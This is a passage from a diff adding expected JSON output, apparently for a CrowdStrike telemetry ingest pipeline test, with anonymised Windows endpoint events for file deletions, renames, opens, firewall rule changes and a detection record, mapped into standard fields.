+                "original": "{\"event_simpleName\":\"ExecutableDeleted\",\"ContextTimeStamp\":\"1754418925.502\",\"ConfigStateHash\":\"710307050\",\"ContextProcessId\":\"9001004100012\",\"IrpFlags\":\"1730\",\"ContextThreadId\":\"560346007270302\",\"MinorFunction\":\"0\",\"aip\":\"216.160.83.56\",\"FileIdentifier\":\"1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"MajorFunction\":\"40\",\"Entitlements\":\"96\",\"name\":\"a1721c8914da805eb47\",\"EventOrigin\":\"1\",\"OperationFlags\":\"0\",\"id\":\"b43f550a47cfaab7904ddcd4c778b2d7d2e1\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"39074f37291ca6f2d189c1e110e04dfc\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\a715181\\\\b169fe25\\\\40a20853\\\\b19eb57e.exe\\\\b62491c6\\\\6ffbd0fe.exe\"}",
+                "outcome": "success",
+                "type": [
+                    "deletion"
+                ]
+            },
+            "file": {
+                "directory": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6",
+                "extension": "exe",
+                "inode": "1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330",
+                "name": "6ffbd0fe.exe",
+                "path": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6\\6ffbd0fe.exe",
+                "type": "file"
+            },
+            "host": {
+                "id": "39074f37291ca6f2d189c1e110e04dfc",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "ExecutableDeleted",
+            "observer": {
+                "address": [
+                    "216.160.83.56"
+                ],
+                "geo": {
+                    "city_name": "Milton",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 47.2513,
+                        "lon": -122.3149
+                    },
+                    "region_iso_code": "US-WA",
+                    "region_name": "Washington"
+                },
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "serial_number": "39074f37291ca6f2d189c1e110e04dfc",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "9001004100012",
+                "thread": {
+                    "id": 560346007270302
+                }
+            },
+            "related": {
+                "hash": [
+                    "710307050"
+                ],
+                "ip": [
+                    "216.160.83.56"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3440491101",
+                "ContextProcessId": "920132208508",
+                "ContextTimeStamp": "2025-09-21T15:01:07.856Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "56",
+                "EventOrigin": "3",
+                "TreeId": "400800208204",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "f17c8a57d6ffa5f985caf45f729cb254772a",
+                "name": "e1326813e53e44b4"
+            },
+            "device": {
+                "id": "e1a82faad25f1bc57da5f8b7457d9014"
+            },
+            "event": {
+                "action": "FileDeleteInfo",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "f17c8a57d6ffa5f985caf45f729cb254772a|e1a82faad25f1bc57da5f8b7457d9014|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"FileDeleteInfo\",\"ContextTimeStamp\":\"1758466867.856\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"920132208508\",\"ContextThreadId\":\"549000000070475\",\"aip\":\"81.2.69.192\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"TreeId\":\"400800208204\",\"Entitlements\":\"56\",\"name\":\"e1326813e53e44b4\",\"EventOrigin\":\"3\",\"id\":\"f17c8a57d6ffa5f985caf45f729cb254772a\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"e1a82faad25f1bc57da5f8b7457d9014\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\74d33d26\\\\9134161b\\\\b169fe25\\\\44ca.TMP\"}",
+                "outcome": "success",
+                "type": [
+                    "deletion"
+                ]
+            },
+            "file": {
+                "directory": "\\6ba0bd\\74d33d26\\9134161b\\b169fe25",
+                "extension": "TMP",
+                "name": "44ca.TMP",
+                "path": "\\6ba0bd\\74d33d26\\9134161b\\b169fe25\\44ca.TMP",
+                "type": "file"
+            },
+            "host": {
+                "id": "e1a82faad25f1bc57da5f8b7457d9014",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "FileDeleteInfo",
+            "observer": {
+                "address": [
+                    "81.2.69.192"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.192"
+                ],
+                "serial_number": "e1a82faad25f1bc57da5f8b7457d9014",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "920132208508",
+                "thread": {
+                    "id": 549000000070475
+                }
+            },
+            "related": {
+                "hash": [
+                    "3440491101"
+                ],
+                "ip": [
+                    "81.2.69.192"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "9250777000",
+                "ContextProcessId": "9011580900835",
+                "ContextTimeStamp": "2025-11-05T09:37:02.843Z",
+                "DesiredAccess": "5040660",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "26",
+                "EventOrigin": "3",
+                "ShareAccess": "7",
+                "Status": "0",
+                "TreeId": "250760900008",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "46a19a602437699cf4aefb060e91441ba891",
+                "name": "c4a834c02a00fb"
+            },
+            "device": {
+                "id": "ea08505420aa828a0a52a6eed3c8a196"
+            },
+            "event": {
+                "action": "FileOpenInfo",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "46a19a602437699cf4aefb060e91441ba891|ea08505420aa828a0a52a6eed3c8a196|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"Status\":\"0\",\"event_simpleName\":\"FileOpenInfo\",\"ContextTimeStamp\":\"1762335422.843\",\"ConfigStateHash\":\"9250777000\",\"ContextProcessId\":\"9011580900835\",\"ContextThreadId\":\"920000001740500\",\"aip\":\"216.160.83.56\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"event_platform\":\"Win\",\"ShareAccess\":\"7\",\"DesiredAccess\":\"5040660\",\"TreeId\":\"250760900008\",\"Entitlements\":\"26\",\"name\":\"c4a834c02a00fb\",\"EventOrigin\":\"3\",\"id\":\"46a19a602437699cf4aefb060e91441ba891\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ea08505420aa828a0a52a6eed3c8a196\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\b169fe25\\\\4e7075fa.key\"}",
+                "outcome": "success",
+                "type": [
+                    "access"
+                ]
+            },
+            "file": {
+                "directory": "\\6ba0bd\\447b992c\\9134161b\\b169fe25",
+                "extension": "key",
+                "name": "4e7075fa.key",
+                "path": "\\6ba0bd\\447b992c\\9134161b\\b169fe25\\4e7075fa.key",
+                "type": "file"
+            },
+            "host": {
+                "id": "ea08505420aa828a0a52a6eed3c8a196",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "FileOpenInfo",
+            "observer": {
+                "address": [
+                    "216.160.83.56"
+                ],
+                "geo": {
+                    "city_name": "Milton",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 47.2513,
+                        "lon": -122.3149
+                    },
+                    "region_iso_code": "US-WA",
+                    "region_name": "Washington"
+                },
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "serial_number": "ea08505420aa828a0a52a6eed3c8a196",
+                "version": "2c8b.4.bab7095.e6"
+            },
+            "process": {
+                "entity_id": "9011580900835",
+                "thread": {
+                    "id": 920000001740500
+                }
+            },
+            "related": {
+                "hash": [
+                    "9250777000"
+                ],
+                "ip": [
+                    "216.160.83.56"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "40820000",
+                "ContextProcessId": "50314320728270",
+                "ContextTimeStamp": "2025-09-18T10:27:03.574Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "36",
+                "EventOrigin": "3",
+                "TargetFileName": "\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae\\754cfa0e.TMP",
+                "TreeId": "407060334007",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "2d662aa35187373d94203d08fc2e4e7115c6",
+                "name": "f4407c8e4882cbdd"
+            },
+            "device": {
+                "id": "ca48acb776296fd7a6e35ee8c4bbde6d"
+            },
+            "event": {
+                "action": "FileRenameInfo",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "2d662aa35187373d94203d08fc2e4e7115c6|ca48acb776296fd7a6e35ee8c4bbde6d|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"FileRenameInfo\",\"ContextTimeStamp\":\"1758191223.574\",\"ConfigStateHash\":\"40820000\",\"ContextProcessId\":\"50314320728270\",\"SourceFileName\":\"\\\\6ba0bd\\\\539d13bb\\\\303abfe3\\\\64211dc1\\\\4feae\\\\49830210.WibuCmActDyn\",\"ContextThreadId\":\"794611930067120\",\"aip\":\"81.2.69.142\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"TreeId\":\"407060334007\",\"Entitlements\":\"36\",\"name\":\"f4407c8e4882cbdd\",\"EventOrigin\":\"3\",\"id\":\"2d662aa35187373d94203d08fc2e4e7115c6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ca48acb776296fd7a6e35ee8c4bbde6d\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\539d13bb\\\\303abfe3\\\\64211dc1\\\\4feae\\\\754cfa0e.TMP\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "file": {
+                "Ext": {
+                    "original": {
+                        "name": "49830210.WibuCmActDyn",
+                        "path": "\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae\\49830210.WibuCmActDyn"
+                    }
+                },
+                "directory": "\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae",
+                "extension": "TMP",
+                "name": "754cfa0e.TMP",
+                "path": "\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae\\754cfa0e.TMP",
+                "type": "file"
+            },
+            "host": {
+                "id": "ca48acb776296fd7a6e35ee8c4bbde6d",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "FileRenameInfo",
+            "observer": {
+                "address": [
+                    "81.2.69.142"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "serial_number": "ca48acb776296fd7a6e35ee8c4bbde6d",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "50314320728270",
+                "thread": {
+                    "id": 794611930067120
+                }
+            },
+            "related": {
+                "hash": [
+                    "40820000"
+                ],
+                "ip": [
+                    "81.2.69.142"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "710307050",
+                "ContextProcessId": "1000790287600",
+                "ContextTimeStamp": "2025-10-29T06:28:27.584Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "66",
+                "EventOrigin": "1",
+                "FileSystemOperationType": "3",
+                "FsOperationClassification": "67",
+                "FsOperationClassificationFlags": "1",
+                "PatternId": "24871",
+                "TemplateDisposition": "40",
+                "TemplateInstanceId": "57521",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "ad8c2e5d31cff1e8cdc3892a874ba4927d1a",
+                "name": "b22ddf4c03b1a8b30f84e33786dd87b"
+            },
+            "device": {
+                "id": "ca2eedaa43a7333759deb5a0191c5313"
+            },
+            "event": {
+                "action": "FileSystemOperationDetectInfo",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "ad8c2e5d31cff1e8cdc3892a874ba4927d1a|ca2eedaa43a7333759deb5a0191c5313|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"FileSystemOperationDetectInfo\",\"ContextTimeStamp\":\"1761719307.584\",\"ConfigStateHash\":\"710307050\",\"TemplateDisposition\":\"40\",\"ContextProcessId\":\"1000790287600\",\"FileSystemOperationType\":\"3\",\"TemplateInstanceId\":\"57521\",\"aip\":\"216.160.83.56\",\"FsOperationClassification\":\"67\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"CommandLine\":\"6725e7\",\"FsOperationClassificationFlags\":\"1\",\"PatternId\":\"24871\",\"ImageFileName\":\"6725e7\",\"Entitlements\":\"66\",\"name\":\"b22ddf4c03b1a8b30f84e33786dd87b\",\"EventOrigin\":\"1\",\"id\":\"ad8c2e5d31cff1e8cdc3892a874ba4927d1a\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ca2eedaa43a7333759deb5a0191c5313\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\b169fe25\\\\71e36eee\\\\ce423a9b\\\\a5e333\\\\3ec061.sst\"}",
+                "outcome": "unknown",
+                "type": [
+                    "change",
+                    "deletion"
+                ]
+            },
+            "file": {
+                "directory": "\\6ba0bd\\447b992c\\9134161b\\b169fe25\\71e36eee\\ce423a9b\\a5e333",
+                "extension": "sst",
+                "name": "3ec061.sst",
+                "path": "\\6ba0bd\\447b992c\\9134161b\\b169fe25\\71e36eee\\ce423a9b\\a5e333\\3ec061.sst",
+                "type": "file"
+            },
+            "host": {
+                "id": "ca2eedaa43a7333759deb5a0191c5313",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "FileSystemOperationDetectInfo",
+            "observer": {
+                "address": [
+                    "216.160.83.56"
+                ],
+                "geo": {
+                    "city_name": "Milton",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 47.2513,
+                        "lon": -122.3149
+                    },
+                    "region_iso_code": "US-WA",
+                    "region_name": "Washington"
+                },
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "serial_number": "ca2eedaa43a7333759deb5a0191c5313",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "args": [
+                    "6725e7"
+                ],
+                "args_count": 1,
+                "command_line": "6725e7",
+                "entity_id": "1000790287600",
+                "executable": "6725e7",
+                "name": "6725e7"
+            },
+            "related": {
+                "hash": [
+                    "710307050"
+                ],
+                "ip": [
+                    "216.160.83.56"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "900805208",
+                "ContextProcessId": "3001999016003",
+                "ContextTimeStamp": "2025-08-10T18:33:45.482Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "36",
+                "EventOrigin": "45",
+                "FirewallOption": "78415d0f02a966",
+                "FirewallOptionNumericValue": "1",
+                "FirewallProfile": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "ee4fea12623693e1e2aaf450974ca9068925",
+                "name": "bd2f52430b3a6e28fa81dc"
+            },
+            "device": {
+                "id": "ee24e7d1ac6add25f7a7969844ad0df3"
+            },
+            "event": {
+                "action": "FirewallChangeOption",
+                "category": [
+                    "configuration",
+                    "host"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "ee4fea12623693e1e2aaf450974ca9068925|ee24e7d1ac6add25f7a7969844ad0df3|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"FirewallChangeOption\",\"ContextTimeStamp\":\"1754850825.482\",\"ConfigStateHash\":\"900805208\",\"FirewallProfile\":\"1\",\"ContextProcessId\":\"3001999016003\",\"aip\":\"89.160.20.128\",\"FirewallOption\":\"78415d0f02a966\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"Entitlements\":\"36\",\"name\":\"bd2f52430b3a6e28fa81dc\",\"EventOrigin\":\"45\",\"id\":\"ee4fea12623693e1e2aaf450974ca9068925\",\"FirewallOptionNumericValue\":\"1\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ee24e7d1ac6add25f7a7969844ad0df3\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "ee24e7d1ac6add25f7a7969844ad0df3",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "FirewallChangeOption",
+            "observer": {
+                "address": [
+                    "89.160.20.128"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.128"
+                ],
+                "serial_number": "ee24e7d1ac6add25f7a7969844ad0df3",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "3001999016003"
+            },
+            "related": {
+                "hash": [
+                    "900805208"
+                ],
+                "ip": [
+                    "89.160.20.128"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "900805208",
+                "ContextProcessId": "2001999016003",
+                "ContextTimeStamp": "2025-05-19T05:55:38.862Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "96",
+                "EventOrigin": "45",
+                "FirewallRuleId": "{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "4ee907bd437184018039dbce46b3b7fb9586",
+                "name": "73c6cc568a65a7c085e0"
+            },
+            "device": {
+                "id": "ee24e7d1ac6add25f7a7969844ad0df3"
+            },
+            "event": {
+                "action": "FirewallDeleteRule",
+                "category": [
+                    "configuration"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "4ee907bd437184018039dbce46b3b7fb9586|ee24e7d1ac6add25f7a7969844ad0df3|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"FirewallDeleteRule\",\"ContextTimeStamp\":\"1747634138.862\",\"ConfigStateHash\":\"900805208\",\"ContextProcessId\":\"2001999016003\",\"aip\":\"89.160.20.112\",\"FirewallRuleId\":\"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"Entitlements\":\"96\",\"name\":\"73c6cc568a65a7c085e0\",\"EventOrigin\":\"45\",\"id\":\"4ee907bd437184018039dbce46b3b7fb9586\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ee24e7d1ac6add25f7a7969844ad0df3\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "ee24e7d1ac6add25f7a7969844ad0df3",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "FirewallDeleteRule",
+            "observer": {
+                "address": [
+                    "89.160.20.112"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.112"
+                ],
+                "serial_number": "ee24e7d1ac6add25f7a7969844ad0df3",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "2001999016003"
+            },
+            "related": {
+                "hash": [
+                    "900805208"
+                ],
+                "ip": [
+                    "89.160.20.112"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "900805208",
+                "ContextProcessId": "1001999016003",
+                "ContextTimeStamp": "2025-07-03T15:07:18.829Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "26",
+                "EventOrigin": "45",
+                "FirewallRule": "fb.26|Action=Allow|Active=TRUE|Dir=In|App=C:\\8027a4f5\\97cf27ba\\bc713e9c\\685ac68f.exe|Name=LaunchPortal|Desc=SOM|",
+                "FirewallRuleId": "{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "b03302898ff47ac683fe0c4e7679c48615d2",
+                "name": "e6fc8b7f15db47d1f"
+            },
+            "device": {
+                "id": "ee24e7d1ac6add25f7a7969844ad0df3"
+            },
+            "event": {
+                "action": "FirewallSetRule",
+                "category": [
+                    "configuration"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "b03302898ff47ac683fe0c4e7679c48615d2|ee24e7d1ac6add25f7a7969844ad0df3|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"FirewallSetRule\",\"ContextTimeStamp\":\"1751555238.829\",\"ConfigStateHash\":\"900805208\",\"ContextProcessId\":\"1001999016003\",\"aip\":\"81.2.69.144\",\"FirewallRuleId\":\"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"Entitlements\":\"26\",\"name\":\"e6fc8b7f15db47d1f\",\"EventOrigin\":\"45\",\"id\":\"b03302898ff47ac683fe0c4e7679c48615d2\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ee24e7d1ac6add25f7a7969844ad0df3\",\"FirewallRule\":\"fb.26|Action=Allow|Active=TRUE|Dir=In|App=C:\\\\8027a4f5\\\\97cf27ba\\\\bc713e9c\\\\685ac68f.exe|Name=LaunchPortal|Desc=SOM|\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "ee24e7d1ac6add25f7a7969844ad0df3",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "FirewallSetRule",
+            "observer": {
+                "address": [
+                    "81.2.69.144"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "serial_number": "ee24e7d1ac6add25f7a7969844ad0df3",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "1001999016003"
+            },
+            "related": {
+                "hash": [
+                    "900805208"
+                ],
+                "ip": [
+                    "81.2.69.144"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "8080600092",
+                "ContextProcessId": "7127089080000",
+                "ContextTimeStamp": "2025-06-13T12:46:39.590Z",
+                "DesiredAccess": "3900073",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "96",
+                "EventOrigin": "1",
+                "FileAttributes": "0",
+                "FileEcpBitmask": "0",
+                "FileObject": "0",
+                "FltCallbackData": "20591370484490000796",
+                "FltCompletionContext": "53130800032000003010",
+                "FltRelatedObjects": "32460687653001750097",
+                "HandleCreateAuthenticationId": "830",
+                "Information": "1",
+                "IrpFlags": "2500",
+                "MajorFunction": "0",
+                "MinorFunction": "0",
+                "OperationFlags": "0",
+                "Options": "94007005",
+                "ShareAccess": "5",
+                "SourceEventUniqueId": "903600070008873043",
+                "Status": "0",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "92f7671f25cc7e1d6c1c2c3958b4a65c9c49",
+                "name": "c7a00dc61cb10ab411c95598"
+            },
+            "device": {
+                "id": "d3a1c99f621d3d6474555746950ce9b6"
+            },
+            "event": {
+                "action": "FsPostOpenSnapshotFile",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "92f7671f25cc7e1d6c1c2c3958b4a65c9c49|d3a1c99f621d3d6474555746950ce9b6|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"Options\":\"94007005\",\"ContextThreadId\":\"50000395917240\",\"MinorFunction\":\"0\",\"aip\":\"216.160.83.56\",\"Information\":\"1\",\"FileIdentifier\":\"8b4857694cc53ad00ce1993ae1b2f7dd7e2cb5d73383c306\",\"FltRelatedObjects\":\"32460687653001750097\",\"event_platform\":\"Win\",\"ShareAccess\":\"5\",\"EventOrigin\":\"1\",\"FltCompletionContext\":\"53130800032000003010\",\"id\":\"92f7671f25cc7e1d6c1c2c3958b4a65c9c49\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"FileAttributes\":\"0\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"FsPostOpenSnapshotFile\",\"ContextTimeStamp\":\"1749818799.590\",\"ConfigStateHash\":\"8080600092\",\"ContextProcessId\":\"7127089080000\",\"IrpFlags\":\"2500\",\"HandleCreateAuthenticationId\":\"830\",\"FltCallbackData\":\"20591370484490000796\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"DesiredAccess\":\"3900073\",\"SourceEventUniqueId\":\"903600070008873043\",\"Entitlements\":\"96\",\"name\":\"c7a00dc61cb10ab411c95598\",\"OperationFlags\":\"0\",\"aid\":\"d3a1c99f621d3d6474555746950ce9b6\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\da2d906a\\\\d598026\\\\dc9ec376\\\\b79606\\\\be8\"}",
+                "outcome": "success",
+                "type": [
+                    "access"
+                ]
+            },
+            "file": {
+                "directory": "\\6ba0bd\\da2d906a\\d598026\\dc9ec376\\b79606",
+                "inode": "8b4857694cc53ad00ce1993ae1b2f7dd7e2cb5d73383c306",
+                "name": "be8",
+                "path": "\\6ba0bd\\da2d906a\\d598026\\dc9ec376\\b79606\\be8",
+                "type": "file"
+            },
+            "host": {
+                "id": "d3a1c99f621d3d6474555746950ce9b6",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "FsPostOpenSnapshotFile",
+            "observer": {
+                "address": [
+                    "216.160.83.56"
+                ],
+                "geo": {
+                    "city_name": "Milton",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 47.2513,
+                        "lon": -122.3149
+                    },
+                    "region_iso_code": "US-WA",
+                    "region_name": "Washington"
+                },
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "serial_number": "d3a1c99f621d3d6474555746950ce9b6",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "7127089080000",
+                "thread": {
+                    "id": 50000395917240
+                }
+            },
+            "related": {
+                "hash": [
+                    "8080600092"
+                ],
+                "ip": [
+                    "216.160.83.56"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticationId": "903030080",
+                "ConfigStateHash": "3440491101",
+                "ContextTimeStamp": "2025-07-25T04:01:01.221Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "76",
+                "EventOrigin": "45",
+                "InterfaceGuid": "d1c8f153a6a851a17b18fe88f1dbdc9254bf",
+                "InterfaceVersion": "0",
+                "RpcClientProcessId": "9757071607353",
+                "RpcClientThreadId": "415000840610900",
+                "RpcNestingLevel": "1",
+                "RpcOpNum": "60",
+                "TargetThreadId": "482081070860200",
+                "TokenType": "2",
